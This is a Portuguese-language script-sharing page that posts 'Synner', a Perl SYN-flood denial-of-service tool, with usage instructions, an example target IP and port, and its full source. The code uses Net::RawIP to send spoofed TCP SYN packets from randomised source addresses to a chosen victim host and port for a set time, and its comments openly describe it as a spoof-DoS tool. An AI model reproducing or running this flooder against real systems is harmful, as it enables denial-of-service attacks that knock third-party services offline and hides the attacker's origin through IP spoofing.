Synner Novo Sys(TCP) Flooder em Perl
Publicado por Franzé Jr Magalhães 01/01/2006
[ Hits: 10.453 ]
Ferramenta muito similar a outros flooders Sys TCP. Essa trabalha mandando pacotes Sys ao host e a porta específicada. Diferente de outros flooders, Synner consome toda a conexão.
Use: ./synner.pl IP PORTA TEMPO
Ex.: ./synner.pl 200.151.20.141 80 10
É necessário que você tenha o Net::RawIP instalado.
Perceba:
# WARNING: Never tested in real world :}
Garanto que eu também não testei, mas existe um comentário na Securiteam que é uma ótima ferramenta.
Fonte:
http://www.securiteam.com/tools/6K00M0KEUW.html
#!/usr/bin/perl # # Synner.pl # # Other Spoof-DoS tool written by nuTshell # <carloslack at gmail dot com> # <http://gotfault.net/~nutshell> # # Description: # This small tool is similar many other tcp syn flooders out there. # It works sending syn tcp packets to destination host:port, # spoofing it`s own ip addresses by sending randon source host:port # packets. # Be carefull, becouse you really need strong link otherwise # you`ll get f*. Unlike panic.pl , synner.pl consumes much # bandwidth resources. # # Required: # Install Net::RawIP from cpan or get it`s .tar,gz from somewhere. # It`s up to you. # # This tool does SPOOF your ip. # # Run it as ROOT (Net::RawIP needs). # Usage: ./synner.pl <ip> <port> <time> # # Greetz goes to: Shorgen, hexdump, Codak, khz, spidersoft, # Barros, xgc, btaranto, Acid-Warz, F-117... # # WARNING: Never tested in real world :} # #Make sure to get and install this module from cpan: use Net::RawIP; #Display help message: sub usage() { die "Use $0 <ip> <port> <time>n"; } #Function to control synner`s execution time: sub get_time() { $finaltime = time; $endme = $finaltime-$begintime; } #Bit useless...: if (@ARGV>3) {&usage} $ipdest = $ARGV[0] or &usage; $destport = $ARGV[1] or &usage; #Time is required to avoid endless execution (keep in mind that synner eats bandwidth): $time = $ARGV[2] or &usage; #Source port of our packets, include as many as you want: @tmpport = (1756,1026,1739,4055,2001,3055,1999,2873,20000,5476,9132,6000,9000,1234); #2 arrays that will give us randon ip addr: @iparray_round1 = (1,2); @iparray_round2 = (0,1,2,3,4,5,6,7,8,9); print "[!] Synpack.pl spoof-DoS tool written by nuTshelln"; print "[!] You better have huge link :)n"; print "[!] Time: $timen"; print "[!] Destination victin-> $ipdest:$destportn"; #Set $packet as handle of our raw packets: $packet = new Net::RawIP; #Get start time: $begintime = $^T; #Call get_time(): get_time(); while($endme < $time) { #Now build randon xxx.xxx.xxx.xxx: for ($z=0;$z<4;$z++) { #I use number 2 for every first numbers of each octet: for($I=0;$I<1;$I++) { $ip .= 2; } #Here i keep two options for every second numbers of each octet: for($kick=0;$kick<1;$kick++) { $iparray_round1 = $iparray_round1[rand(@iparray_round1)] ; $ip .= $iparray_round1; } #For all the last third of each octets i use range between 0<->9: for($you=0;$you<1;$you++) { $iparray_round2 = $iparray_round2[rand(@iparray_round2)] ; $ip .= $iparray_round2; } #Insert dot between each octet: $ip .= "."; } #The last one dot must be erased: chop($ip); #Routine to create/send spoofed packets, thanks to Net::RawIP: $tmpport = $tmpport[rand(@tmpport)]; $packet->set( { ip => { saddr => $ip, #Victin ip daddr => $ipdest #Victin port }, tcp => { source => $tmpport, #Source ip(Spoofed and randomized) dest => $destport, #source port(Randomized) psh => 1, ack => 0, syn => 1, data => '31337' } } ); #Send it: $packet->send(0,1) ; print "[*] From-> $ip:randon_portr"; #Reset last ip for new one: $ip = ''; #Call get_time(): get_time(); } #That`s all folks! print "nDone!n"; #eof
Gmail::SendMail - Enviando emails usando gmail
Avisar por e-mail se o IP da conexão ADSL mudar
PDF completo com todas as páginas do Diário Oficial do Estado de Goiás
Melhorando o tempo de boot do Fedora e outras distribuições
Como instalar as extensões Dash To Dock e Hide Top Bar no Gnome 45/46
E a guerra contra bots continua
Tradução do artigo do filósofo Gottfried Wilhelm Leibniz sobre o sistema binário
Conheça o firewall OpenGFW, uma implementação do (Great Firewall of China).
Instalando o FreeOffice no LMDE 6
Anki: Remover Tags de Estilo HTML de Todas as Cartas
Colocando uma opção de redimensionamento de imagem no menu de contexto do KDE
HDMI não funciona no Mint 21.3 Cinnamon (1)
Removi o pacote snap e deu ruim (2)
Criar um script para testar pen drive (4)
[Shell Script] Script para desinstalar pacotes desnecessários no OpenSuse
[Shell Script] Script para criar certificados de forma automatizada no OpenVpn
[Shell Script] Conversor de vídeo com opção de legenda
[C/C++] BRT - Bulk Renaming Tool
[Shell Script] Criação de Usuarios , Grupo e instalação do servidor de arquivos samba